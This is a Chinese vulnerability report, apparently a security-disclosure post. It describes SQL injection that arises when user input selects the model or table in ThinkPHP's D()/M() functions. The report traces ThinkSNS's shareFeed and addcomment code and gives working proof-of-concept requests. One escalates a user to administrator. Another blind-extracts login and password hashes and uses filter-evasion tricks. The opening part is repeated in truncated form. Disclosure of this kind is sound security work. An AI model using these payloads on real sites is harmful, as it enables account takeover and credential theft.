### 简要描述: 从ThinkPHP谈基于框架开发程序的安全性二,继续讨论基于框架开发可能带来的问题,厂商忽略不忽略都没关系,主要是给大家提出来,不管是程序员安全意识的问题,还是框架本身的设计缺陷,总之在使用这些框架开发时不要给自己挖坑了。 ### 详细说明: 首先我们来看看官方文档: http://document.thinkphp.cn/manual_3_2.html#model_instance 这里主要介绍了模型实例化的一些方法 终点介绍了D方法和M方法的使用 D方法实例化 ``` <?php //实例化模型 $User = D('User'); // 相当于 $User = new \Home\Model\UserModel(); // 执行具体的数据操作 $User->select(); ``` M方法实例化 ``` // 使用M方法实例化 $User = M('User'); // 和用法 $User = new \Think\Model('User'); 等效 // 执行其他的数据操作 $User->select(); ``` 最后官方提到: ``` 我们在实例化的过程中,经常使用D方法和M方法。 这两个方法的区别在于M方法实例化模型无需用户为每个数据表定义模型类,如果D方法没有找到定义的模型类,则会自动调用M方法。 ``` 问题: 那么,要是我们在实例化模型时,程序员想动态传入模型内容咧?;例如: ``` ...... $table = I('post.table_name'); $model = D($table); //$model = M($table); $row = $model->where("role=".$role)->find(); ``` 这样是不是可行 我们来写个例子看一下。 ``` public function test(){ if (IS_POST) { $role = I('post.role', '', 'trim'); if (empty($role)) { $this->error('角色不能为空'); } $map['role'] = $role; $table = I('post.table_name'); $model = D($table); //$model = M($table); $row...
### 简要描述: 从ThinkPHP谈基于框架开发程序的安全性二,继续讨论基于框架开发可能带来的问题,厂商忽略不忽略都没关系,主要是给大家提出来,不管是程序员安全意识的问题,还是框架本身的设计缺陷,总之在使用这些框架开发时不要给自己挖坑了。 ### 详细说明: 首先我们来看看官方文档: http://document.thinkphp.cn/manual_3_2.html#model_instance 这里主要介绍了模型实例化的一些方法 终点介绍了D方法和M方法的使用 D方法实例化 ``` <?php //实例化模型 $User = D('User'); // 相当于 $User = new \Home\Model\UserModel(); // 执行具体的数据操作 $User->select(); ``` M方法实例化 ``` // 使用M方法实例化 $User = M('User'); // 和用法 $User = new \Think\Model('User'); 等效 // 执行其他的数据操作 $User->select(); ``` 最后官方提到: ``` 我们在实例化的过程中,经常使用D方法和M方法。 这两个方法的区别在于M方法实例化模型无需用户为每个数据表定义模型类,如果D方法没有找到定义的模型类,则会自动调用M方法。 ``` 问题: 那么,要是我们在实例化模型时,程序员想动态传入模型内容咧?;例如: ``` ...... $table = I('post.table_name'); $model = D($table); //$model = M($table); $row = $model->where("role=".$role)->find(); ``` 这样是不是可行 我们来写个例子看一下。 ``` public function test(){ if (IS_POST) { $role = I('post.role', '', 'trim'); if (empty($role)) { $this->error('角色不能为空'); } $map['role'] = $role; $table = I('post.table_name'); $model = D($table); //$model = M($table); $row = $model->where($map)->find(); if (empty($row)) { echo 0; }else{ echo 1; var_dump($row); } } } ``` 这里我们动态传入要实例化的模型类 [<img src="https://images.seebug.org/upload/201412/302337534717edc1120f83e49e18659e24891ec2.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/302337534717edc1120f83e49e18659e24891ec2.png) 可以看到我们正常传入user模型,这里执行正常 我们来看看代码 先看看D函数:/ThinkPHP/Common/functions.php ``` /** * 实例化模型类 格式 [资源://][模块/]模型 * @param string $name 资源地址 * @param string $layer 模型层名称 * @return Model */ function D($name='',$layer='') { if(empty($name)) return new Think\Model; static $_model = array(); $layer = $layer? : C('DEFAULT_M_LAYER'); if(isset($_model[$name.$layer])) return $_model[$name.$layer]; $class = parse_res_name($name,$layer); if(class_exists($class)) { $model = new $class(basename($name)); }elseif(false === strpos($name,'/')){ // 自动加载公共模块下面的模型 if(!C('APP_USE_NAMESPACE')){ import('Common/'.$layer.'/'.$class); }else{ $class = '\\Common\\'.$layer.'\\'.$name.$layer; } $model = class_exists($class)? new $class($name) : new Think\Model($name); }else { Think\Log::record('D方法实例化没找到模型类'.$class,Think\Log::NOTICE); $model = new Think\Model(basename($name)); } $_model[$name.$layer] = $model; return $model; } ``` 当class没有定义时 $class = '\\Common\\'.$layer.'\\'.$name.$layer; 然后:$model = class_exists($class)? new $class($name) : new Think\Model($name); 此时,实例化model,new Think\Model($name); 继续跟进Model的实例化过程: ``` /** * 架构函数 * 取得DB类的实例对象 字段检查 * @access public * @param string $name 模型名称 * @param string $tablePrefix 表前缀 * @param mixed $connection 数据库连接信息 */ public function __construct($name='',$tablePrefix='',$connection='') { // 模型初始化 $this->_initialize(); // 获取模型名称 if(!empty($name)) { if(strpos($name,'.')) { // 支持 数据库名.模型名的 定义 list($this->dbName,$this->name) = explode('.',$name); }else{ $this->name = $name; } }elseif(empty($this->name)){ $this->name = $this->getModelName(); } // 设置表前缀 if(is_null($tablePrefix)) {// 前缀为Null表示没有前缀 $this->tablePrefix = ''; }elseif('' != $tablePrefix) { $this->tablePrefix = $tablePrefix; }elseif(!isset($this->tablePrefix)){ $this->tablePrefix = C('DB_PREFIX'); } // 数据库初始化操作 // 获取数据库操作对象 // 当前模型有独立的数据库连接信息 $this->db(0,empty($this->connection)?$connection:$this->connection,true); } var_dump($this);//这里我们dump看一下实例化后,有哪些属性 ``` 这里当name不为空时 $this->name = $name; 将name,就是我们传入的值赋给了实例化的model做了属性 那么,我们传入恶意的数据进入模型类呢?会不会引发问题? 这里我们加一个恶意的传值进去实例化,看的更清楚 [<img src="https://images.seebug.org/upload/201412/3023213892e01ab058596464c0c8fed5860ff1d9.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/3023213892e01ab058596464c0c8fed5860ff1d9.png) 可以看到,传入恶意的值,引发了sql报错,恶意数据直接带入了模型内,导致问题产生 [<img src="https://images.seebug.org/upload/201412/3023035660669daa544fa8010ec05ccb4002f10c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/3023035660669daa544fa8010ec05ccb4002f10c.png) 看结果,上面的答案是: ``` 在动态传入要实例化的模型类时,没有对传入的模型类进行处理,直接赋值数据表,然后进行查询,这里相当于我们控制了查询是的数据表,当传入恶意数据时,导致SQL注入漏洞。 ``` [<img src="https://images.seebug.org/upload/201412/30231229ba1f41135fd37cc6e5103716e28ec241.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/30231229ba1f41135fd37cc6e5103716e28ec241.png) 可能官方说没让程序员这么用 或者大家会说这样用的人太少了 其实,这都说的通,我们来看看实例ThinkSNS 文件/apps/public/Lib/Action/FeedAction.class.php ``` public function shareFeed() { // 获取传入的值 $post = $_POST; // 安全过滤 foreach($post as $key => $val) { $post[$key] = t($post[$key]); } // 过滤内容值 $post['body'] = filter_keyword($post['body']); // 判断资源是否删除 if(empty($post['curid'])) { $map['feed_id'] = $post['sid']; } else { $map['feed_id'] = $post['curid']; } $map['is_del'] = 0; $isExist = model('Feed')->where($map)->count(); if($isExist == 0) { $return['status'] = 0; $return['data'] = '内容已被删除,转发失败'; exit(json_encode($return)); } // 进行分享操作 $return = model('Share')->shareFeed($post, 'share'); ``` 变量post直接冲POST接受参数 然后遍历变量post的值,使用 t 函数进行过滤,t 函数的处理过程就不在赘述,存在绕过 最后变量post进入shareFeed函数,跟进 文件/addons/model/ShareModel.class.php: ``` public function shareFeed($data, $from = 'share', $lessUids = null) { ...... if(!$pk = D($data['type'], $data['app_name'])->getPk()) { $pk = $data['type'].'_id'; } D($data['type'], $data['app_name'])->setInc('repost_count', "`{$pk}`={$data['sid']}", 1); if($data['curid'] != $data['sid'] && !empty($data['curid'])) { if(!$pk = D($data['curtable'])->getPk()) { $pk = $data['curtable'].'_id'; } D($data['curtable'])->setInc('repost_count', "`{$pk}`={$data['curid']}", 1); D($data['curtable'])->cleanCache($data['curid']); } D($data['type'],$data['app_name'])->cleanCache($data['sid']); } else { $return['data']=model('Feed')->getError(); } ``` 这里的data就是传进来的psot $data['type'],$data['app_name'],$data['curtable']进入了D函数 此时已经产生了SQL注入漏洞 漏洞证明,提升普通用户为管理员等: ``` http://localhost/thinksns/index.php?app=public&mod=feed&act=shareFeed curid=1&sid=1&app_name=weibo&curtable=user_group_link set user_group_id = 1 whe<a>re uid = 2%23aaa http://localhost/thinksns/index.php?app=public&mod=feed&act=shareFeed ``` 还有文件/addons/widget/CommentWidget/CommentWidget.class.php ``` public function addcomment() { // 返回结果集默认值 $return = array ( 'status' => 0, 'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' ) ); // 获取接收数据 $data = $_POST; // 安全过滤 foreach ( $data as $key => $val ) { $data [$key] = t ( $data [$key] ); } // 评论所属与评论内容 $data ['app'] = $data ['app_name']; $data ['table'] = $data ['table_name']; $data ['content'] = h ( $data ['content'] ); // 判断资源是否被删除 $dao = M ( $data ['table'] ); $idField = $dao->getPk (); $map [$idField] = $data ['row_id']; $sourceInfo = $dao->where ( $map )->find (); ``` $data ['table'] = $data ['table_name'] 然后$dao = M ( $data ['table'] ); 同样,我们可控的元素进入了实例化Model中 这里导致盲注: ``` http://localhost/thinksns/index.php?app=widget&mod=comment&act=addcomment table_name=user whe<a>re 1=if(mid((sel<a>ect concat(login,0x23,password) fr<a>om ts_user limit 1),1,1)=char(97),sle<a>ep(0.1),2)%23&content=test&row_id=111aaa http://localhost/thinksns/index.php?app=widget&mod=comment&act=addcomment ``` 还有文件/addons/model/CommentModel.class.php存在多出这样的问题 很多这样的问题就不在一一列举了 最后,不管这是谁的问题,如果使用不当,或者和是这么使用了就会产生漏洞 主要是给大家提出来,不管是程序员安全意识的问题,还是框架本身的设计缺陷,总之在使用这些框架开发时不要给自己挖坑了。 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201412/302335099e003048098ef652cc6f551b432a828a.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/302335099e003048098ef652cc6f551b432a828a.png)